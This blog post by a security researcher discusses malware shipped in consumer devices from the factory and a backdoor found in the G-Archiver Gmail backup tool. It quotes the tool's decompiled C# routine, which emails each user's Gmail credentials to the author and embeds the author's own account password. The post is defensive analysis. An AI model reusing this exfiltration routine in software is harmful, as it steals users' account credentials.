I took part in the L0pht Reunion Panel at the Source Boston conference in Cambridge, MA last Friday. It was a lot of fun to get back together with the “band” and pontificate with no holds barred about the latest security threats, just like we did in the old days.

One of the questions asked of the panel by moderator Michael Fitzgerald (who did a kick-ass job) was, “What scares you the most these days?”. My answer was the proliferation of of inexpensive digital devices made in China that we plug into our computers. The malware problem is getting tricky to dodge. First you couldn’t open email attachments you weren’t expecting. Then you had to worry about surfing even trusted websites with JavaScript turned on, even with the latest patched browsers. Now you have to worry about plugging in the shiny new digital toy you got as a gift. Perhaps its a digital picture frame, digital camera, music player or silly programmable gizmo. Welcome to the age of factory installed malware –the age of devices coming Certified Pre-0wned.

The Associated Press writes:

Recent cases reviewed by The Associated Press include some of the most widely used tech devices: Apple iPods, digital picture frames sold by Target and Best Buy stores and TomTom navigation gear.

In most cases, Chinese factories — where many companies have turned to keep prices low — are the source.

We all know malware is starting to fly under the radar of black list style detection. Low volume malware is flooding the AV labs’ capability to build detection for it. The digital picture frame sold at Sam’s club was infected with previously unknown malware that stole passwords and turned off AV software.

An additional threat that has been reported is devices have been found infecting the flash memory cards that are often inserted to upload photos. From SANS:

“Recently I found a virus on it called Troj_Agent.SAO, which is what Trend Micro named it. Anytime you plug a removable device into it, it would create two files Autorun.inf and autorun.exe. The exe would place itself in the recycler\recycler folder and the .inf would place itself on the root of the removable drive as a hidden file. At first I thought this virus came in on one of our employee’s pen drive but after further investigation I discovered that the files that the virus uses were created on the kiosk the day it was shipped out to us. Also our vendor is using this kiosk in some of their stores at the moment and there have been reports that the kiosks have given their customers a virus. “

We are back to the days of the floppy or “sneaker net” attack vector. Do you know who has touched your SD card or USB drive? Don’t use it in public. Don’t share it with multiple machines. Dan Geer told me he once tossed a USB drive into an audience with the slides for a presentation he just delivered on it. About 10 people passed it around and copied off the slides. It came back with a virus on it. And this was at a security conference.

Here is another data point that simple backdoors are being placed into free applications. A programmer, Dustin Brooks, was inspecting a free Gmail backup utility, called G-Archiver, with Reflector and noticed that not only did it have the authors Gmail credentials baked in, but is was sending the Gmail credentials of every user of the program to the author.

This is an example of an unintended network activity backdoor where information leakage occurs. Here is the code:

public static void CheckConnection(string a, string b)
{
  try
  {
    MailMessage message = new MailMessage();
    message.To.Add("JTerry79@gmail.com");
    message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);
    message.Subject = "Account";
    message.SubjectEncoding = Encoding.UTF8;
    message.Body = "Username: " + a;
    message.Body = message.Body + "\r\nPassword: " + b;
    message.BodyEncoding = Encoding.UTF8;
    message.IsBodyHtml = false;
    message.Priority = MailPriority.High;
    SmtpClient client = new SmtpClient();
    client.Credentials = new NetworkCredential("JTerry79@gmail.com", "bilal482");
    client.Port = 0x24b;
    client.Host = "smtp.gmail.com";
    client.EnableSsl = true;
    client.Send(message);
  }
  catch (Exception)
  { }
}

This obviously wasn’t the smartest backdoor. The writer didn’t need to use the same credentials for for his “drop” account to send the mail. That made it trivial for the investigator to verify what was going on. There was also no attempt at obfuscation.

As a internet community we don’t have a good way yet of dealing with these problems except to hope that someone will inspect the free software at some point, alert people, and then hope that all the people that downloaded the software get contacted so that they can change their Gmail credentials. With other stolen data there is no recourse.

We are stuck in a blacklist mentality for software. People readily download, install, or increasingly often with SaaS, just browse, and type in their credential. Unless users are stopped by a blacklist tool or service they end up taking an unknown risk.